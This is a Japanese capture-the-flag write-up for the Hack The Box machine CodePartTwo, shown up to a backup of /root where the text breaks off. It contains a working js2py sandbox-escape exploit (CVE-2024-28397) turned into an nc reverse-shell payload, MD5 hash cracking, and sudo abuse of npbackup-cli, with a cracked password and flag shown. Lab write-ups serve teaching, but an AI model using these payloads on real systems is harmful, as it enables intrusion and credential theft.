Hack The BoxのWriteup(CodePartTwo)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Easyのマシンである「CodePartTwo」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン及びアクセス
  (2) Webアクセスできるファイル/ディレクトリ調査
  (3) Webサイトの動作確認
  (4) Webアプリのファイル確認
  (5) js2py.disable_pyimport関数の脆弱性(CVE-2024-28397)を悪用したリバースシェル奪取
  (6) John the Ripperを用いてハッシュ値解析
  (7) marcoユーザーでSSHログイン
  (8) 特権昇格(sudo設定の脆弱性)

※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン及びアクセス


(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)などポートが応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.82
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-10 19:49 JST
Warning: 10.10.11.82 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.82
Host is up (0.22s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo
|_http-server-header: gunicorn/20.0.4
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 554/tcp)
HOP RTT       ADDRESS
1   353.35 ms 10.10.16.1
2   353.41 ms 10.10.11.82

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.75 seconds


(2) ブラウザを用いて「http://10.10.11.82:8000/」にアクセスすると、Webページが表示される。


Webアクセスできるファイル/ディレクトリ調査


(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。

$ feroxbuster -u http://10.10.11.82:8000/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
302      GET        5l       22w      189c http://10.10.11.82:8000/logout => http://10.10.11.82:8000/
200      GET       46l      253w    17471c http://10.10.11.82:8000/download
200      GET       20l       44w      651c http://10.10.11.82:8000/register
200      GET       20l       46w      667c http://10.10.11.82:8000/login
200      GET      210l      571w     4808c http://10.10.11.82:8000/static/css/styles.css
200      GET       98l      247w     3309c http://10.10.11.82:8000/static/js/script.js
200      GET       47l      202w     2184c http://10.10.11.82:8000/
302      GET        5l       22w      199c http://10.10.11.82:8000/dashboard => http://10.10.11.82:8000/login
ーーー(省略)ーーー




(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。

$ gobuster dir -u http://10.10.11.82:8000/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o CodePartTwo_80.txt
ーーー(省略)ーーー
/dashboard            (Status: 302) [Size: 199] [--> /login]
/download             (Status: 200) [Size: 10696]
/login                (Status: 200) [Size: 667]
/logout               (Status: 302) [Size: 189] [--> /]
/register             (Status: 200) [Size: 651]
ーーー(省略)ーーー




(3) dirsearchを用いてアクセスできるURLを確認するが、特に気になるURLはない。

$ sudo dirsearch -u http://10.10.11.82:8000/
ーーー(省略)ーーー
[00:11:02] Starting:
[00:12:56] 302 -  199B  - /dashboard  ->  /login
[00:13:02] 200 -   10KB - /download
[00:13:34] 200 -  667B  - /login
[00:13:36] 302 -  189B  - /logout  ->  /
[00:14:11] 200 -  651B  - /register

Task Completed




(4) ffufを用いてアクセスできるURLを確認するが、特に気になる内容はない。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://10.10.11.82:8000/FUZZ" -ic
ーーー(省略)ーーー
                        [Status: 200, Size: 2184, Words: 457, Lines: 48, Duration: 232ms]
login                   [Status: 200, Size: 667, Words: 119, Lines: 20, Duration: 237ms]
download                [Status: 200, Size: 10696, Words: 33, Lines: 46, Duration: 433ms]
register                [Status: 200, Size: 651, Words: 117, Lines: 20, Duration: 421ms]
logout                  [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 226ms]
dashboard               [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 220ms]
                        [Status: 200, Size: 2184, Words: 457, Lines: 48, Duration: 229ms]
ーーー(省略)ーーー




Webサイトの動作確認


(1) ブラウザを用いて「http://10.10.11.82:8000/」にアクセスして、「REGISTER」をクリックする。


(2) 任意のユーザー名とパスワードを入力して、「REGISTER」をクリックする。



(3) 設定したユーザー名とパスワードを入力して、「LOGIN」をクリックする。


(4) 「Code Editor」欄に任意のJavaScriptのプログラムを記載する。

【入力するJavaScriptプログラムの例】
var x = 16;
x;




(5) 「RUN CODE」をクリックする。


(6) 「Output」欄にプログラムの実行結果が表示されていることを確認する。


(7) 下部の「SAVE CODE」をクリックして、ポップアップが表示されるため「OK」をクリックする。


(8) 「Saved Codes」欄に「Code 1」が表示されたことを確認する。また、「Code 1」をクリックすると、保存したソースコードが「Code Editor」欄に表示される。


Webアプリのファイル確認


(1) ブラウザを用いて「http://10.10.11.82:8000/」にアクセスして、「DOWNLOAD APP」をクリックするとapp.zipファイルがダウンロードされる。


(2) ダウンロードしたapp.zipファイルを解凍する。

$ unzip app.zip
Archive:  app.zip
   creating: app/
   creating: app/templates/
  inflating: app/templates/login.html
  inflating: app/templates/dashboard.html
  inflating: app/templates/reviews.html
  inflating: app/templates/register.html
  inflating: app/templates/index.html
  inflating: app/templates/base.html
  inflating: app/requirements.txt
   creating: app/static/
   creating: app/static/js/
  inflating: app/static/js/script.js
   creating: app/static/css/
  inflating: app/static/css/styles.css
  inflating: app/app.py
   creating: app/instance/
  inflating: app/instance/users.db


(3) app.zipの中にあるapp.pyファイルの内容を確認すると、以下の2つの何れかの操作ができないか推測できる。

  • users.dbというデータベースファイルを使用しているため、データベースの中にある認証情報を取得できる可能性がある。
  • /run_codeにcodeパラメータを送るとjs2pyのeval_js関数に渡しているため、任意のコード実行ができる可能性がある。
$ cat app/app.py
from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json

js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3Tw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password_hash = db.Column(db.String(128), nullable=False)

class CodeSnippet(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    code = db.Column(db.Text, nullable=False)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/dashboard')
def dashboard():
    if 'user_id' in session:
        user_codes = CodeSnippet.query.filter_by(user_id=session['user_id']).all()
        return render_template('dashboard.html', codes=user_codes)
    return redirect(url_for('login'))

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        password_hash = hashlib.md5(password.encode()).hexdigest()
        new_user = User(username=username, password_hash=password_hash)
        db.session.add(new_user)
        db.session.commit()
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        password_hash = hashlib.md5(password.encode()).hexdigest()
        user = User.query.filter_by(username=username, password_hash=password_hash).first()
        if user:
            session['user_id'] = user.id
            session['username'] = username;
            return redirect(url_for('dashboard'))
        return "Invalid credentials"
    return render_template('login.html')

@app.route('/logout')
def logout():
    session.pop('user_id', None)
    return redirect(url_for('index'))

@app.route('/save_code', methods=['POST'])
def save_code():
    if 'user_id' in session:
        code = request.json.get('code')
        new_code = CodeSnippet(user_id=session['user_id'], code=code)
        db.session.add(new_code)
        db.session.commit()
        return jsonify({"message": "Code saved successfully"})
    return jsonify({"error": "User not logged in"}), 401

@app.route('/download')
def download():
    return send_from_directory(directory='/home/app/app/static/', path='app.zip', as_attachment=True)

@app.route('/delete_code/<int:code_id>', methods=['POST'])
def delete_code(code_id):
    if 'user_id' in session:
        code = CodeSnippet.query.get(code_id)
        if code and code.user_id == session['user_id']:
            db.session.delete(code)
            db.session.commit()
            return jsonify({"message": "Code deleted successfully"})
        return jsonify({"error": "Code not found"}), 404
    return jsonify({"error": "User not logged in"}), 401

@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

if __name__ == '__main__':
    with app.app_context():
        db.create_all()
    app.run(host='0.0.0.0', debug=True)


(4) app.zipの中にあるusers.dbファイルにアクセスする。

$ file app/instance/users.db
app/instance/users.db: SQLite 3.x database, last written using SQLite version 3031001, file counter 2, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 2


$ sqlite3 app/instance/users.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite>


(5) users.dbの中にあるテーブル一覧を確認すると、code_snippetテーブルとuserテーブルがあることが分かる。

sqlite> .tables
code_snippet  user


(6) code_snippetテーブルとuserテーブルの内容を確認すると、何もデータが入っていないことが分かる。

sqlite> select * from user;


sqlite> select * from code_snippet;


(7) データベースへの接続を終了する。

sqlite> .exit


(8) 「js2py exploit」でGoogle検索すると、CVE-2024-28397の脆弱性があることが分かる。「https://github.com/advisories/GHSA-h95x-26f3-88hr」によると
js2py v0.74までのjs2pyでは、js2py.disable_pyimport() に問題があり攻撃者が細工したAPI呼び出しを介して任意のコードを実行されることが分かる。


(9) app.zipの中にあるrequirements.txtファイルの内容を確認すると、js2pyのバージョンは0.74のため、CVE-2024-28397の脆弱性があることが分かる。

$ cat app/requirements.txt
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74


js2py.disable_pyimport関数の脆弱性(CVE-2024-28397)を悪用したリバースシェル奪取


(1) 「CVE-2024-28397 exploit」でGoogle検索すると、「https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py」に攻撃コードが公開されていることが分かる。

【poc.pyの内容】
import js2py
from sys import version

payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator; kcalc; "
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11
"""

def test_poc():
    etcpassword_piece = "root:x:0:0"
    result = ""
    try:
        result = repr(js2py.eval_js(payload))
    except Exception:
        return False
    return etcpassword_piece in result

def main():
    if test_poc():
        print("Success! the vulnerability exists for python " + repr(version))
    else:
        print("Failed for python " + repr(version))

if __name__ == "__main__":
    main()


(2) Kali Linux側で1234/tcpで待ち受ける。

$ ip a
   →Kali LinuxのVPN用のインターフェースのIPアドレスが「10.10.16.10」


$ nc -lvnp 1234
listening on [any] 1234 ...


(3) poc.pyのpayload変数に攻撃コードが記載されているため、cmd変数にリバースシェルを実行するOSコマンドを変更する。その内容を「http://10.10.11.82:8000/dashboard」の「Code Editor」欄に記載する。その後、「RUN CODE」をクリックする。

【入力するJavaScriptプログラムの例】
// [+] command goes here:
let cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.10 1234 >/tmp/f; "
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11




(5) 「nc -lvnp 1234」コマンドを実行していたプロンプトに応答があり、任意のコマンドを実行できるようになる。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.82] 46082
sh: 0: can't access tty; job control turned off
$


(6) 完全なシェルを奪取する。

※appユーザーでログインした攻撃対象のマシン(CodePartTwo)上で以下のコマンドを実行する。

$ which python3
/usr/bin/python3

$ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

[Ctrl]+[Z]でバックグラウンドに移す

$ stty raw -echo;fg

$ bash

$ export TERM=xterm


(7) 現在ログインしているユーザー情報を確認すると、appユーザーであることが分かる。

※appユーザーでログインした攻撃対象のマシン(CodePartTwo)上で以下のコマンドを実行する。

$ id
uid=1001(app) gid=1001(app) groups=1001(app)


$ whoami
app


(8) ホームディレクトリとログインシェルが設定されているユーザーを確認する。

※appユーザーでログインした攻撃対象のマシン(CodePartTwo)上で以下のコマンドを実行する。

$ ls -l /home/
total 8
drwxr-x--- 5 app   app   4096 Apr  6 03:22 app
drwxr-x--- 6 marco marco 4096 Aug 30 23:30 marco


$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
marco:x:1000:1000:marco:/home/marco:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bash


(9) users.dbの内容を確認すると、marcoユーザーのパスワードハッシュ値が「649c9d65a206a75f5abe509fe128bce5」であることが分かる。

※appユーザーでログインした攻撃対象のマシン(CodePartTwo)上で以下のコマンドを実行する。

$ strings /home/app/app/instance/users.db
SQLite format 3
Wtablecode_snippetcode_snippet
CREATE TABLE code_snippet (
        id INTEGER NOT NULL,
        user_id INTEGER NOT NULL,
        code TEXT NOT NULL,
        PRIMARY KEY (id),
        FOREIGN KEY(user_id) REFERENCES user (id)
Ctableuseruser
CREATE TABLE user (
        id INTEGER NOT NULL,
        username VARCHAR(80) NOT NULL,
        password_hash VARCHAR(128) NOT NULL,
        PRIMARY KEY (id),
        UNIQUE (username)
indexsqlite_autoindex_user_1user
Mzeri1a1dc91c907325c69271ddf0c944bc72'
Mappa97588c0e2fa3a024876339e27aeb42e)
Mmarco649c9d65a206a75f5abe509fe128bce5
zeri
        marco


John the Ripperを用いてハッシュ値解析


(1) marcoユーザーのパスワードハッシュ値がどのようなハッシュ値か確認するために、「https://hashes.com/en/tools/hash_identifier」にパスワードハッシュ値を入力して「SUBMIT & IDENTIFY」をクリックする。


(2) MD5というアルゴリズムで生成されたハッシュ値であることが分かる。


(3) Kali Linux側でハッシュ値を解析するために、Kali Linuxにてmarcoユーザーのハッシュ値(649c9d65a206a75f5abe509fe128bce5)をファイルに保存する。

※Kali Linux上で以下のコマンドを実行する。

$ echo 649c9d65a206a75f5abe509fe128bce5 > marco_hash.txt


(4) John the Ripperを用いてmarcoユーザーのハッシュ値を解析すると、「sweetangelbabylove」のハッシュ値であることが分かる。

※Kali Linux上で以下のコマンドを実行する。

$ john marco_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
sweetangelbabylove (?)
1g 0:00:00:00 DONE (2025-08-31 08:35) 5.263g/s 18151Kp/s 18151Kc/s 18151KC/s sweetbabygyal..sweetali786
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.


marcoユーザーでSSHログイン


(1) SSHを用いて攻撃対象のマシン(CodePartTwo)にmarcoユーザーでログインする。

※Kali Linux上で以下のコマンドを実行する。

$ ssh marco@10.10.11.82
  →パスワード(sweetangelbabylove)を入力する。


(2) 現在ログインしているユーザー情報を確認すると、marcoユーザーであることが分かる。

※marcoユーザーでログインした攻撃対象のマシン(CodePartTwo)上で以下のコマンドを実行する。

$ id
uid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups)


$ whoami
marco


(3) 一般ユーザー用のフラグファイルの内容を確認する。

※marcoユーザーでログインした攻撃対象のマシン(CodePartTwo)上で以下のコマンドを実行する。

$ cat /home/marco/user.txt
a704f538b88306a37fc3cc472c6da7a1


特権昇格(sudo設定の脆弱性)


(1) sudoの設定を確認すると、パスワードなしでrootユーザー権限で/usr/local/bin/npbackup-cliを実行できることが分かる。

※marcoユーザーでログインした攻撃対象のマシン(CodePartTwo)上で以下のコマンドを実行する。

$ sudo -l
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli


(2) /usr/local/bin/npbackup-cliの内容を確認すると、引数(argv[0])を用いて何かを処理していることが分かる。

※marcoユーザーでログインした攻撃対象のマシン(CodePartTwo)上で以下のコマンドを実行する。

$ cat /usr/local/bin/npbackup-cli
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from npbackup.__main__ import main
if __name__ == '__main__':
    # Block restricted flag
    if '--external-backend-binary' in sys.argv:
        print("Error: '--external-backend-binary' flag is restricted for use.")
        sys.exit(1)

    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(main())


(3) npbackup-cliの使い方を確認すると、以下の2つの何れかの方法での特権昇格を推測できる。

  • 「–raw RAW」オプションを用いてコマンドを実行して/bin/bashにSUID権限を付与して特権昇格する。
  • 「–backup」オプションで/root配下のフォルダをバックアップして、「–dump」オプションでバックアップした任意のファイルを閲覧する。

※marcoユーザーでログインした攻撃対象のマシン(CodePartTwo)上で以下のコマンドを実行する。

$ sudo /usr/local/bin/npbackup-cli --help
usage: npbackup-cli [-h] [-c CONFIG_FILE] [--repo-name REPO_NAME] [--repo-group REPO_GROUP] [-b] [-f] [-r RESTORE] [-s] [--ls [LS]] [--find FIND]
                    [--forget FORGET] [--policy] [--housekeeping] [--quick-check] [--full-check] [--check CHECK] [--prune [PRUNE]] [--prune-max]
                    [--unlock] [--repair-index] [--repair-packs REPAIR_PACKS] [--repair-snapshots] [--repair REPAIR] [--recover] [--list LIST]
                    [--dump DUMP] [--stats [STATS]] [--raw RAW] [--init] [--has-recent-snapshot] [--restore-includes RESTORE_INCLUDES]
                    [--snapshot-id SNAPSHOT_ID] [--json] [--stdin] [--stdin-filename STDIN_FILENAME] [-v] [-V] [--dry-run] [--no-cache] [--license]
                    [--auto-upgrade] [--log-file LOG_FILE] [--show-config] [--external-backend-binary EXTERNAL_BACKEND_BINARY]
                    [--group-operation GROUP_OPERATION] [--create-key CREATE_KEY] [--create-backup-scheduled-task CREATE_BACKUP_SCHEDULED_TASK]
                    [--create-housekeeping-scheduled-task CREATE_HOUSEKEEPING_SCHEDULED_TASK] [--check-config-file]

Portable Network Backup Client This program is distributed under the GNU General Public License and comes with ABSOLUTELY NO WARRANTY. This is free
software, and you are welcome to redistribute it under certain conditions; Please type --license for more info.

optional arguments:
  -h, --help            show this help message and exit
  -c CONFIG_FILE, --config-file CONFIG_FILE
                        Path to alternative configuration file (defaults to current dir/npbackup.conf)
  --repo-name REPO_NAME
                        Name of the repository to work with. Defaults to 'default'. This can also be a comma separated list of repo names. Can
                        accept special name '__all__' to work with all repositories.
  --repo-group REPO_GROUP
                        Comme separated list of groups to work with. Can accept special name '__all__' to work with all repositories.
  -b, --backup          Run a backup
  -f, --force           Force running a backup regardless of existing backups age
  -r RESTORE, --restore RESTORE
                        Restore to path given by --restore, add --snapshot-id to specify a snapshot other than latest
  -s, --snapshots       Show current snapshots
  --ls [LS]             Show content given snapshot. When no snapshot id is given, latest is used
  --find FIND           Find full path of given file / directory
  --forget FORGET       Forget given snapshot (accepts comma separated list of snapshots)
  --policy              Apply retention policy to snapshots (forget snapshots)
  --housekeeping        Run --check quick, --policy and --prune in one go
  --quick-check         Deprecated in favor of --'check quick'. Quick check repository
  --full-check          Deprecated in favor of '--check full'. Full check repository (read all data)
  --check CHECK         Checks the repository. Valid arguments are 'quick' (metadata check) and 'full' (metadata + data check)
  --prune [PRUNE]       Prune data in repository, also accepts max parameter in order prune reclaiming maximum space
  --prune-max           Deprecated in favor of --prune max
  --unlock              Unlock repository
  --repair-index        Deprecated in favor of '--repair index'.Repair repo index
  --repair-packs REPAIR_PACKS
                        Deprecated in favor of '--repair packs'. Repair repo packs ids given by --repair-packs
  --repair-snapshots    Deprecated in favor of '--repair snapshots'.Repair repo snapshots
  --repair REPAIR       Repair the repository. Valid arguments are 'index', 'snapshots', or 'packs'
  --recover             Recover lost repo snapshots
  --list LIST           Show [blobs|packs|index|snapshots|keys|locks] objects
  --dump DUMP           Dump a specific file to stdout (full path given by --ls), use with --dump [file], add --snapshot-id to specify a snapshot
                        other than latest
  --stats [STATS]       Get repository statistics. If snapshot id is given, only snapshot statistics will be shown. You may also pass "--mode raw-
                        data" or "--mode debug" (with double quotes) to get full repo statistics
  --raw RAW             Run raw command against backend. Use with --raw "my raw backend command"
  --init                Manually initialize a repo (is done automatically on first backup)
  --has-recent-snapshot
                        Check if a recent snapshot exists
  --restore-includes RESTORE_INCLUDES
                        Restore only paths within include path, comma separated list accepted
  --snapshot-id SNAPSHOT_ID
                        Choose which snapshot to use. Defaults to latest
  --json                Run in JSON API mode. Nothing else than JSON will be printed to stdout
  --stdin               Backup using data from stdin input
  --stdin-filename STDIN_FILENAME
                        Alternate filename for stdin, defaults to 'stdin.data'
  -v, --verbose         Show verbose output
  -V, --version         Show program version
  --dry-run             Run operations in test mode, no actual modifications
  --no-cache            Run operations without cache
  --license             Show license
  --auto-upgrade        Auto upgrade NPBackup
  --log-file LOG_FILE   Optional path for logfile
  --show-config         Show full inherited configuration for current repo. Optionally you can set NPBACKUP_MANAGER_PASSWORD env variable for more
                        details.
  --external-backend-binary EXTERNAL_BACKEND_BINARY
                        Full path to alternative external backend binary
  --group-operation GROUP_OPERATION
                        Deprecated command to launch operations on multiple repositories. Not needed anymore. Replaced by --repo-name x,y or --repo-
                        group x,y
  --create-key CREATE_KEY
                        Create a new encryption key, requires a file path
  --create-backup-scheduled-task CREATE_BACKUP_SCHEDULED_TASK
                        Create a scheduled backup task, specify an argument interval via interval=minutes, or hour=hour,minute=minute for a daily
                        task
  --create-housekeeping-scheduled-task CREATE_HOUSEKEEPING_SCHEDULED_TASK
                        Create a scheduled housekeeping task, specify hour=hour,minute=minute for a daily task
  --check-config-file   Check if config file is valid


(4) まずは「–raw」オプションを用いて/bin/bashにSUID権限を付与できないか試すと、chmodコマンドは実行できない旨のメッセージが表示され失敗する。

※marcoユーザーでログインした攻撃対象のマシン(CodePartTwo)上で以下のコマンドを実行する。

$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash


$ sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf --raw "chmod u+s /bin/bash"
2025-08-30 23:58:16,649 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-30 23:58:16,679 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
2025-08-30 23:58:16,690 :: INFO :: Running raw command: chmod u+s /bin/bash
unknown command "chmod" for "restic"
2025-08-30 23:58:17,965 :: ERROR :: unknown command "chmod" for "restic"

2025-08-30 23:58:17,966 :: ERROR :: Raw command failed:
unknown command "chmod" for "restic"

2025-08-30 23:58:17,967 :: INFO :: Runner took 1.277593 seconds for raw
2025-08-30 23:58:17,967 :: ERROR :: Backend finished with errors.
2025-08-30 23:58:17,967 :: ERROR :: Operation finished
2025-08-30 23:58:17,975 :: INFO :: ExecTime = 0:00:01.329036, finished, state is: errors.


(5) 「–raw」オプションを用いてBASE64でエンコードしたOSコマンドを実行できないか試すと、echoコマンドは実行できない旨のメッセージが表示され失敗する。

※marcoユーザーでログインした攻撃対象のマシン(CodePartTwo)上で以下のコマンドを実行する。

$ echo 'chmod u+s /bin/bash' | base64
Y2htb2QgdStzIC9iaW4vYmFzaAo=


$ sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf --raw "echo 'Y2htb2QgdStzIC9iaW4vYmFzaAo='|base64 -d|bash"
2025-08-31 00:01:10,173 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-31 00:01:10,204 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
2025-08-31 00:01:10,216 :: INFO :: Running raw command: echo Y2htb2QgdStzIC9iaW4vYmFzaAo=|base64 -d|bash
unknown command "echo" for "restic"
2025-08-31 00:01:11,406 :: ERROR :: unknown command "echo" for "restic"

2025-08-31 00:01:11,406 :: ERROR :: Raw command failed:
unknown command "echo" for "restic"

2025-08-31 00:01:11,407 :: INFO :: Runner took 1.192947 seconds for raw
2025-08-31 00:01:11,407 :: ERROR :: Backend finished with errors.
2025-08-31 00:01:11,408 :: ERROR :: Operation finished
2025-08-31 00:01:11,414 :: INFO :: ExecTime = 0:00:01.244056, finished, state is: errors.


(6) 次に「–backup」オプションで/root配下のフォルダをバックアップして、「–dump」オプションでバックアップした任意のファイルを閲覧する。そのため、設定ファイル(npbackup.conf)の中のpathsパラメータの愛他を変更する。

※marcoユーザーでログインした攻撃対象のマシン(CodePartTwo)上で以下のコマンドを実行する。

$ vi npbackup.conf
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri:
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /home/app/app/../../../root
      source_type: folder_list
      exclude_files_larger_than: 0.0
    repo_opts:
      repo_password:
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
      retention_policy: {}
      prune_max_unused: 0
    prometheus: {}
    env: {}
    is_protected: false
groups:
  default_group:
    backup_opts:
      paths: []
      source_type:
      stdin_from_command:
      stdin_filename:
      tags: []
      compression: auto
      use_fs_snapshot: true
      ignore_cloud_files: true
      one_file_system: false
      priority: low
      exclude_caches: true
      excludes_case_ignore: false
      exclude_files:
      - excludes/generic_excluded_extensions
      - excludes/generic_excludes
      - excludes/windows_excludes
      - excludes/linux_excludes
      exclude_patterns: []
      exclude_files_larger_than:
      additional_parameters:
      additional_backup_only_parameters:
      minimum_backup_size_error: 10 MiB
      pre_exec_commands: []
      pre_exec_per_command_timeout: 3600
      pre_exec_failure_is_fatal: false
      post_exec_commands: []
      post_exec_per_command_timeout: 3600
      post_exec_failure_is_fatal: false
      post_exec_execute_even_on_backup_error: true
      post_backup_housekeeping_percent_chance: 0
      post_backup_housekeeping_interval: 0
    repo_opts:
      repo_password:
      repo_password_command:
      minimum_backup_age: 1440
      upload_speed: 800 Mib
      download_speed: 0 Mib
      backend_connections: 0
      retention_policy:
        last: 3
        hourly: 72
        daily: 30
        weekly: 4
        monthly: 12
        yearly: 3
        tags: []
        keep_within: true
        group_by_host: true
        group_by_tags: true
        group_by_paths: false
        ntp_server:
      prune_max_unused: 0 B
      prune_max_repack_size:
    prometheus:
      backup_job: ${MACHINE_ID}
      group: ${MACHINE_GROUP}
    env:
      env_variables: {}
      encrypted_env_variables: {}
    is_protected: false
identity:
  machine_id: ${HOSTNAME}__blw0
  machine_group:
global_prometheus:
  metrics: false
  instance: ${MACHINE_ID}
  destination:
  http_username:
  http_password:
  additional_labels: {}
  no_cert_verify: false
global_options:
  auto_upgrade: false
  auto_upgrade_percent_chance: 5
  auto_upgrade_interval: 15
  auto_upgrade_server_url:
  auto_upgrade_server_username:
  auto_upgrade_server_password:
  auto_upgrade_host_identity: ${MACHINE_ID}
  auto_upgrade_group: ${MACHINE_GROUP}


(7) /root配下のバックアップを取得する。

※marcoユーザーでログインした攻撃対象のマシン(CodePartTwo)上で以下のコマンドを実行する。

$ sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf --backup
2025-08-31 00:41:04,171 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
